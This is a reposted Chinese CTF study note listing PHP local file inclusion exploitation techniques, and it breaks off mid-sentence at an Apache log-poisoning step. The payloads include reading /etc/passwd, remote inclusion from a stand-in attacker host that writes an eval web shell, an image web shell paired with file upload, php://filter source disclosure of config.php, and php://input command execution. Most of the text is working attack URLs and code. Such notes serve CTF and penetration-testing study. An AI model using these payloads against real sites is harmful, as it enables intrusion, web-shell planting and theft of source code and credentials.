ctf學習筆記[轉載]

Soldier915發表於2017-10-29

本地檔案包含的利用技巧\
1.讀取敏感檔案
訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目標主機檔案存在,並且有相應的許可權,那麼就可以讀出檔案的內容。反之,就會得到一個類似於;open_basedir restriction in effect的警告。\
2.遠端包含Shell
如果目標主機allow_url_fopen選項是啟用的,就可以嘗試遠端包含一句話木馬,如:http://www.attacker.com/echo.txt,程式碼如下:\

    <?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>\

訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容為:

<?php eval($_POST[xxser]);?>

3.本地包含配合檔案上傳
假設已經上傳一句話圖片木馬到伺服器,路徑為:/uploadfile/xxx.jpg
圖片程式碼如下:

    <?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>

訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。\

4.使用PHP封裝協議

4.1 使用封裝協議讀取PHP檔案
例子如下:

http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

訪問URL,得到經過Base64加密後的字串,這段程式碼就是Base64加密過後的PHP原始碼,解密後就可得到原本的“樣貌”。

4.2 寫入PHP檔案
在allow_url_include為On時,構造URL:

http://www.example.com/index.php?page=php://input,並且提交資料為:<?php system('net user');?>

會得到net user命令的結果。\

5.包含Apache日誌檔案
本地檔案包含的利用。
Apache有兩個日誌檔案:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/

相關文章